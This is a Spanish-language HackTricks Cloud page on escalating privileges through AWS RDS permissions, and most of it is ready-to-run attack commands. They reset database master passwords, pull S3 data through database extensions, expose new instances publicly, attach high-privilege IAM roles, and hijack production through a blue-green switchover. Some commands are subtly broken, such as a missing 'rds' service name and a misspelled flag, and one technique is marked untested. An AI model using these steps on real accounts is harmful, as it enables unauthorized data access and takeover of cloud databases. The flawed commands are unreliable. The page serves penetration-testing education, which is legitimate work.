AWS - RDS Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
RDS - Servicio de Base de Datos Relacional
Para más información sobre RDS consulta:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Con ese permiso, un atacante puede modificar la contraseña del usuario maestro, y el login dentro de la base de datos:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Necesitarás poder contactar con la base de datos (normalmente solo son accesibles desde redes internas).
Impacto potencial: Encontrar información sensible dentro de las bases de datos.
rds-db:connect
Según la docs un usuario con este permiso podría conectarse a la instancia de la base de datos.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
Si al ejecutar
SELECT datname FROM pg_database;encuentras una base de datos llamadardsadmin, sabes que estás dentro de una AWS postgresql database.
Primero puedes comprobar si esta base de datos se ha utilizado para acceder a cualquier otro servicio de AWS. Puedes comprobarlo mirando las extensiones instaladas:
SELECT * FROM pg_extension;
Si encuentras algo como aws_s3 puedes asumir que esta base de datos tiene algún tipo de acceso a S3 (hay otras extensiones como aws_ml y aws_lambda).
Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes ver allí si el cluster tiene algún IAM Role adjunto en el campo AssociatedRoles. Si lo tiene, puedes asumir que la base de datos fue preparada para acceder a otros servicios de AWS. Basándote en el nombre del role (o si puedes obtener los permisos del role) podrías adivinar qué acceso adicional tiene la base de datos.
Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Si tuvieras credenciales AWS sin procesar también podrías usarlas para acceder a datos de S3 con:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql no necesita cambiar ninguna variable del parameter group para poder acceder a S3.
Mysql (Aurora)
Tip
Dentro de un mysql, si ejecutas la consulta
SELECT User, Host FROM mysql.user;y existe un usuario llamadordsadmin, puedes asumir que estás dentro de una AWS RDS mysql db.
Dentro del mysql ejecuta show variables; y si variables como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes comprobar si el cluster tiene algún rol asociado, lo que normalmente significa acceso a servicios de AWS).
Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un atacante con los permisos rds:AddRoleToDBCluster y iam:PassRole puede agregar un role especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
Ten en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los parameter groups.
rds:CreateDBInstance
Con solo este permiso un atacante podría crear una nueva instancia dentro de un clúster que ya existe y tiene un IAM role adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Probar
Un atacante con los permisos rds:CreateDBInstance e iam:PassRole puede crear una nueva instancia RDS con un rol especificado adjunto. El atacante puede entonces potencialmente acceder a datos sensibles o modificar los datos dentro de la instancia.
Warning
Algunos requisitos del role/instance-profile para adjuntar (según here):
- El perfil debe existir en tu cuenta.
- El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir.
- El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un atacante con los permisos rds:AddRoleToDBInstance y iam:PassRole puede añadir un rol especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.
Warning
La instancia DB debe estar fuera de un clúster para esto
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas en los datos de la instancia RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Un atacante con estos permisos puede clonar una base de datos de producción (Blue), asignar un rol IAM de alto privilegio al clon (Green), y luego usar switchover para reemplazar el entorno de producción. Esto permite al atacante elevar los privilegios de la base de datos y obtener acceso no autorizado a otros recursos de AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Impacto Potencial: Toma completa del entorno de base de datos de producción. Después de la conmutación, la base de datos opera con privilegios elevados, permitiendo el acceso no autorizado a otros servicios de AWS (p. ej., S3, Lambda, Secrets Manager) desde dentro de la base de datos.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

